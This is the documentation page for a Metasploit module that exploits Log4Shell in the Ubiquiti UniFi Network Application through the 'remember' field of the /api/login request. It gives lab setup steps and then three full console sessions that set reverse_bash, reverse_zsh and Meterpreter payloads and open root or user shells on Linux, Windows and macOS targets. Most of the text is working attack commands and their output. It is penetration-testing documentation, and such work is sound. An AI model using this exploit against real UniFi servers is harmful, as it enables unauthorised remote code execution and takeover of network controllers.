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metasploit-framework/documentation/modules/exploit/multi/http/ubiquiti_unifi_log4shell.md

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Vulnerable Application

Description

The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the server application.

This module will start an LDAP server that the target will need to connect to.

Setup

  1. Either install the Windows application, or start the docker container (use jacobalberty/unifi:v6.5.53).
  2. Navigate to the service on HTTPS port 8443 to setup the UniFi controller.
  3. On step 2, select the button to "Switch to Advanced Setup"
  4. While still on step 2, disable the remote access and "Use your Ubiquiti account for local access" options, then create a local account.
  5. On step 5, when prompted to setup WiFi, select the "Skip" button in the bottom right corner.
  6. Review the configuration, and finalize it.

Older versions of the UniFi Network Application can be downloaded from community.ui.com.

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/multi/http/ubiquiti_unifi_log4shell
  3. Set the RHOSTS, TARGET, PAYLOAD, and payload associated options
  4. Do: run
  5. If the target is vulnerable, the payload should be executed

Scenarios

UniFi Network Application v6.6.53 on Docker

This uses jacobalberty/unifi:v6.5.53. Note that tags v6.5.54, v6.0.45, and v5.14.23 all contain the fix for this vulnerability. See jacobalberty/unifi for more information.

msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Unix
TARGET => Unix
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.250.6
RHOST => 192.168.250.6
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.250.134
SRVHOST => 192.168.250.134
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443
RPORT => 8443
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 5 opened (192.168.250.134:4444 -> 192.168.250.6:44984 ) at 2022-01-14 09:21:04 -0500
[*] Server stopped.

id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/lib/unifi

UniFi Network Application v6.5.53 on Windows Server 2016

msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Windows
TARGET => Windows
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.159.65
RHOST => 192.168.159.65
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443
RPORT => 8443
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Sending stage (175174 bytes) to 192.168.159.65
[*] Meterpreter session 4 opened (192.168.159.128:4444 -> 192.168.159.65:51940 ) at 2022-01-14 09:19:25 -0500
[*] Server stopped.

meterpreter > getuid
Server username: WIN-BPID95ACQ7E\smcintyre
meterpreter > sysinfo
Computer        : WIN-BPID95ACQ7E
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

UniFi Network Application v5.14.22 on OSX 11.2.3

msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > show options

Module options (exploit/multi/http/ubiquiti_unifi_log4shell):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LDIF_FILE                   no        Directory LDIF file path
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     111.111.1.11     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8443             yes       The target port (TCP)
   SRVHOST    222.222.2.222    yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    389              yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_zsh):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  222.222.2.222    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Unix


msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > run

[*] Started reverse TCP handler on 222.222.2.222:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Client sent unexpected request 2
[*] Command shell session 2 opened (222.222.2.222:4444 -> 111.111.1.11:50474 ) at 2022-01-20 07:20:22 -0500
[*] Server stopped.

id
uid=501(yourmom) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(com.apple.access_remote_ae)